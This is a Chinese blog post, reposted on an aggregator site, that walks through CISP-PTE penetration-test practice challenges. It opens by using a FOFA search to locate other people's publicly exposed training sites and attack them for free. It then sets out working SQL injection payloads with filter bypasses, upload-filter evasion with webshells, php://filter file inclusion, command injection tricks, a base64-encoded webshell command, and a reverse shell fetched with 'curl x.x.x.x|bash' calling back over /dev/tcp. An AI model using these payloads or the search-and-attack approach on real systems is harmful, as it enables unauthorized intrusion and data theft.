IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 免费获取CSIP-PTE题目及通关 -> 正文阅读

[PHP知识库]免费获取CSIP-PTE题目及通关

白嫖CSIP-PTE题目及通关

前言

一直以来想考一个CISP-PTE的证书,但他的价格实在也是"亲民"(考证加培训大概2w多,md,谁考的起),但是不去考证练他的训练题也找不到,今天教一手如何去白嫖题目
打开万能的FOFA引擎
输入

body="CISP-PTE"


有些网站打开就是他的题目哦,白嫖真香

接下来就可以愉快的进行通关了

解题过程

SQL注入


进入关卡

这里直接将SQL语句告诉了你,根据SQL语句就是判断出闭合方式应该为%'),如何再加上注释符即可,需要注意的是,这里#是被过滤了,所以用–+注释

判断字段数

1%') order by 5--+ #回显正常
1%') order by 10--+ #回显错误
1%') order by 8--+ #回显错误
1%') order by 7--+ #回显正常

所以判断字段数为7,确实回显位置

-1%') ununionion select 1,2,3,4,5,6,7--+


需要注意的是这里union被过滤了,双写即可绕过
题目说flag在/tmp/key文件中,用load_file查看即可

-1%') ununionion select 1,load_file("/tmp/key"),3,4,5,6,7--+

文件上传


进入题目

首先在一个空文档里写入一句话,然后将后缀改为jpg上传试试


jpg文件都被拦了,猜测可能是对文件内容有过滤,将eval大小写混合试一下

再次上传发现就可以上传成功了

如何在上传的时候使用burp拦包,经测试,这里不管是后缀大小写、加点、加空格、双写后缀、phtml、php3、php5、.htaccess、.user.ini文件均被拦截,那这里应该是白名单过滤了,尝试使用00截断

可以看到文件上传成功,访问上传的1.php利用一句话传参拿flag

这里说下,cat命令查看的话还必须要在源代码里面才能看到flag,而tac命令可以直接显示在页面上

文件包含


进入题目

利用file进行传参,没啥好说的,直接filter协议查看key值

将结果base64解码一下即可

命令执行


进入题目

也没啥好说的,经过fuzz发现过滤了一些查看文件内容的命令,如cat、tac、less、more、tail这些,将tac中间加入一个\即可

127.0.0.1;t\ac ../key.php

验证码爆破


进入题目

burp抓包进行爆破就对了,如果对验证码爆破不了解请看我的前一篇文章


爆破成功,输入密码拿flag

SQL注入


进入题目

页面直接将要执行的SQL语句打印在了屏幕上,根据SQL语句判断闭合方式应该为’),如何后面加上注释符即可,需要注意的是这里#和–+都被过滤了,所以这里使用00截断进行注释

1');%00


判断字段数

1') order by 1;%00


这里可以看到输入的空格也被过滤了,所以用%0a代替空格

1') %0a order %0a by %0a 5;%00 #回显错误
1') %0a order %0a by %0a 4;%00 #回显正常

所以判断字段数为4
确定回显位置

-1') %0a ununionion %0a select %0a 1,2,3,4;%00


这里需要注意的是union被过滤了,采用双写即可绕过
如何根据题目提示使用load_file读取/tmp/key的内容

-1') %0a ununionion %0a select %0a 1,load_file("/tmp/key"),3,4;%00

文件上传


进入题目

首先在空文档里写入一句话然后将后缀改为jpg进行上传


可以看到上传成功,对文件内容应该是没有过滤的,然后使用burp抓包进行修改后缀

上传php3后缀成功,访问1.php3

很可惜,虽然上传成功了,但是里面的代码并没有被成功执行,尝试后缀大小写上传

可以看到也上传成功了,访问1.phP

可以看到这次代码被成功执行了,使用x传参读flag

文件包含


进入题目

直接filter协议查看flag

将结果base64解码一下即可

命令执行


进入题目

经过fuzz可知也就过滤了ls、cat、more一些常见的命令,利用tac命令读文件即可

127.0.0.1;tac ../key.php

日志分析


进入题目

得到一个非常大的日志文件,先将他们复制到1.log里
内容实在太多,现在响应状态码为200的挑选出来

awk '($9 ~ /200/)' 1.log > 2.log 

查看2.log,终于在一处看到了一些奇怪的地方(这里真的看了很久很久,眼睛都要看瞎了)

这里看到三个可疑页面:adminlogin.php、upload.php、upload.php?action=upfile
依次进行访问
adminlogin.php

一个登入页面,但是不知道账号密码
upload.phpupload.php?action=upfile页面结果都是一篇空白,看到php结尾,并且是一篇空白,猜想可能是一句话木马,但是又不知道密码。前面adminlogin.php页面也不知道账号密码,那只能去尝试爆破一下了

竟然发现爆破出来了,使用admin:password123进行登入发现就可以得到flag

二阶SQL注入


进入题目

进入让我注册一个用户,然后题目描述使用admin登入后,就可以获得key1,瞬间让我想起了刷过的sqli-labs,这不跟那个二次注入一样吗
首先注册一个admin'#账户,密码设置为123456

然后使用admin'#:123456进行登入

这里显示不是admin用户,那点击重置密码
将密码重置为456789

然后再回到登入的页面使用admin:456789进入登入发现就会成功

文件上传


进入题目

首先在一个空文档里面写入一句话,然后将后缀改为jpg,看对文件内容是否有拦截


图片上传失败,那对文件内容肯定有拦截,将eval函数进行大小写替换

再次进行上传发现就能成功上传了
使用burp抓包改后缀

上传成功,访问1.php

文件代码被成功解析,使用x传参读取flag

文件包含


进入题目

使用file进行传参
再次使用filter协议读取文件

这次发现就不行了,经过测试,file后面只要不是view.html就是显示error,那只能从view.html文件里找线索了
访问view.html文件,查看源代码

发现一串php代码,并且有一串base64密文,进行解密

妥妥的一句话木马,构造payload,将要输入的命令base64加密一下即可
POST内容:Hello=1&z0=c3lzdGVtKCd0YWMgL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7

代码审计


进入题目

审计一下代码,代码也很简单,首先会用cmd已get的方式接受你输入的内容,然后会将你输入内容的长度打印出来,然后如果传入的数据不为空并且长度小于或等于30的话就是使用exec函数去执行这个命令,否则就会执行highlight_file函数,最后会打印一下你当前的IP
这里有一个非常重要的地方,就是你传进来的内容如果小于30虽然他会使用exec去执行这条命令,但不会打印在屏幕上,因为没有输入函数,所以这里只能考虑反弹shell
因为输入的长度只能小于30,所以反弹shell的条件也是很苛刻的,但是可以使用curl进行反弹shell
准备一台服务器
进入/var/www/html目录,将index.html修改为以下内容

bash -i >& /dev/tcp/x.x.x.x/7777 0>&1 #填写自己的服务器IP


开启apache服务

service apache2 restart

然后使用nc监听本地的7777端口

然后在题目的位置进行传参

?cmd=curl x.x.x.x|bash #指向服务器的地址


然后查看监听的7777端口发现会成功反弹回来一个shell

查找一下key

成功获取key

命令执行


进入题目

经过fuzz发现管道符 ;、|、||、均被过滤,但是&没有被过滤
然后像ls、whoami、cat、tac、more、less、tail这些命令均被过滤了
最重点的是,他把php给过滤了,但是最终要看的文件名为key.php
不过也是小问题,在中间加上\均可逃过过滤
最终payload

127.0.0.1 && t\ac /var/www/html/key.p\hp

总结

总的来说,这些题目对我来说有些还是有点难度的,基本都是跟CTF类型的题目比较接近,经常刷CTF的大佬做这些题肯定也是分分钟秒杀的,很多地方确实需要头脑去思考,一定要仔细,就像题目里的日志审计,我就是一个一个数据包看的,可能有更好的方法,还是代码审计这个题目,刚做时总在想命令没有回显怎么办呢,也是看了以前的打靶记录看到反弹shell突然灵机一闪,反正总结就一句话,脑袋要懂得转弯,再就是一定要细心细心!!!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-16 12:49:24  更:2022-01-16 12:50:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:38:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码